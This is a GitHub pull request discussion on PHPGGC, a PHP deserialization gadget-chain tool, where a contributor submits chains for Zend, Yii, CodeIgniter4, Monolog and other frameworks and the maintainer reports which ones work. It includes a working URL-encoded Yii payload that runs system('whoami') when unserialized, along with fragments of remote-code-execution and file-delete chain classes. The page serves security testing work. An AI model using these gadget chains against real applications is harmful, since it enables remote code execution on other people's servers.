-
Notifications
You must be signed in to change notification settings - Fork 511
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add some gadget chains that I had collected #160
base: master
Are you sure you want to change the base?
Conversation
Hello CyanM0un, That's amazing work ! I'll try and integrate it in the upcoming weeks, as you have said it is a lot of work :) Charles |
Hello, Still haven't had time to check this amazing work. Will do in the upcoming weeks ! |
Hello, I have started working on your GCs, CyanM0un. Every ZendFramework payloads works except for the FI1:
Any ideas why ? |
Oh, in the last gadget class (Zend_Loader_PluginLoader), the function load will append a '.php' suffix to the file path, so '/tmp/phpggc110c813231d70d6d47e543bc48d27d69254966a5' may not be found. |
maybe we should specify that the chain only include arbitrary PHP file |
Ok, fixed for Zend. Yii2 GCs work as well. Now, Yii/RCE3 tries to use PHPUnit_Extensions_Selenium2TestCase_Session, which is NOT included in the Yii 1.1.20 distribution. |
I used the command |
Ok, I used the package present in their github repository. Do you by any chance still have your vendor/composer/installed.json?
|
I don't think that's the problem ... I test it right now using the package and it worked, eg: <?php
include("./vendor/autoload.php");
include("./framework/YiiBase.php");
$poc = "O%3A11%3A%22CDbCriteria%22%3A1%3A%7Bs%3A6%3A%22params%22%3BO%3A12%3A%22CMapIterator%22%3A3%3A%7Bs%3A16%3A%22%00CMapIterator%00_d%22%3BO%3A5%3A%22CForm%22%3A1%3A%7Bs%3A16%3A%22%00CForm%00_elements%22%3BO%3A44%3A%22PHPUnit_Extensions_Selenium2TestCase_Session%22%3A3%3A%7Bs%3A11%3A%22%00%2A%00commands%22%3Ba%3A1%3A%7Bs%3A6%3A%22itemAt%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A6%3A%22%00%2A%00url%22%3BO%3A40%3A%22PHPUnit_Extensions_Selenium2TestCase_URL%22%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00driver%22%3BO%3A23%3A%22DocBlox_Parallel_Worker%22%3A0%3A%7B%7D%7D%7Ds%3A19%3A%22%00CMapIterator%00_keys%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A18%3A%22%00CMapIterator%00_key%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D";
unserialize(urldecode($poc)); // system('whoami') the error was triggered in the |
Ok, I was missing the YiiBase import :) Making progress! |
Indeed a mount of work. 😂 Best respect for you |
Hello @CyanM0un ! I am back to process a few more GCs. In CI4, RCE7, you use
and
Any ideas? |
|
||
class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall | ||
{ | ||
public static $version = '2.1.5 <= 2.5.3 & 2.11.2'; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Which package(s) are these versions for?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
|
||
class FD1 extends \PHPGGC\GadgetChain\FileDelete | ||
{ | ||
public static $version = '*'; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Fixed version here: it starts at 1.7.0
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
thanks!
|
||
public function __construct($path, $data) | ||
{ | ||
$this->buffer = [["level"=>1,"message"=>$data,'datetime'=>new \Gelf\Message(),'level_name'=>'']]; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Gelf\Message is not present.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
again by composer create-project monolog/monolog=2.0.0 monolog
, in fact, a class that has the getTimestamp
method will be ok
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same: by default, create-projecŧ
seems to include dev
dependencies, while install
does NOT.
We have generally refrained from including dev
dependencies to GCs, as they are not often included.
|
||
class RCE10 extends \PHPGGC\GadgetChain\RCE\Command | ||
{ | ||
public static $version = '2.0.0 & 2.1.0 <= 2.x-dev'; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
fixed 2.x-dev to 2.9.3+
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
thanks a lot!
{ | ||
$remote_path = $parameters["remote_path"]; | ||
|
||
return new \Keradus\CliExecutor\ScriptExecutor($remote_path); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Class missing after: composer require friendsofphp/php-cs-fixer=2.17.3
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
still by composer create-project friendsofphp/php-cs-fixer=2.17.3 phpcsfixer
. I want to clarify that I'm not really that familiar with php development myself, so I'm not quite sure what the differences are between these building ways.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
keradus is included as a require-dev
dependency of php-cs-fixer, which is why I couldn't see it. It generally will not be present.
|
||
namespace Pop\Mail\Transport\Smtp | ||
{ | ||
class EsmtpTransport |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Does not exist.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
maybe because the below reason or composer install
?
@@ -0,0 +1,15 @@ | |||
<?php |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Does not work against any versions, and version 4.7.0 does not seem to exist? Last being 4.3.4
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
sorry about the confusion, I used the framework https://github.com/popphp/popphp-framework
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \Prophecy\Argument\Token\ExactValueToken($function, $parameter); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
composer require slim/slim:3.8.1
-> no prophecy
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
the same reason for composer create-project slim/slim=3.8.1 slim
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same, dev dep.
$function = $parameters['function']; | ||
$parameter = $parameters['parameter']; | ||
|
||
return new \phpDocumentor\Reflection\DocBlock\Tags\Method($function, $parameter); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
same as above
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Same, dev dep.
|
||
function __construct() | ||
{ | ||
$this->writer = new \XMLWriter; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Uncaught Error: Invalid or uninitialized XMLWriter object in .../vendor/phpunit/php-code-coverage/src/Report/Xml/Coverage.php:62
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I am also confused, this gadget works well in my computer. In fact, look at the __construct
code:
public function __construct(DOMElement $context, string $line) {
$this->contextNode = $context;
$this->writer = new XMLWriter;
$this->writer->openMemory();
......
}
I can't figure out how this will happen ...
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What's your PHP version? It looks like it is due to deserialisation.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
PHP 7.4.3 (cli) (built: Feb 18 2020 17:29:57) ( NTS Visual C++ 2017 x64 )
I used the second way, however, after I get the source code I usually use the command |
Finally, thank you very much for your continued contact. I also admire your work on |
This is what I am doing, but still, it does not work:
|
sorry, my URL is https://github.com/codeigniter4/CodeIgniter4/archive/refs/tags/v4.1.3.zip |
Hi,
I sorted out a few gadget chains of some frameworks. I have manually checked all of them and some of them have passed the test-gc-compatibility script, which I have modified the corresponding version range in the chain.php.
It seems like no small work for both of us :)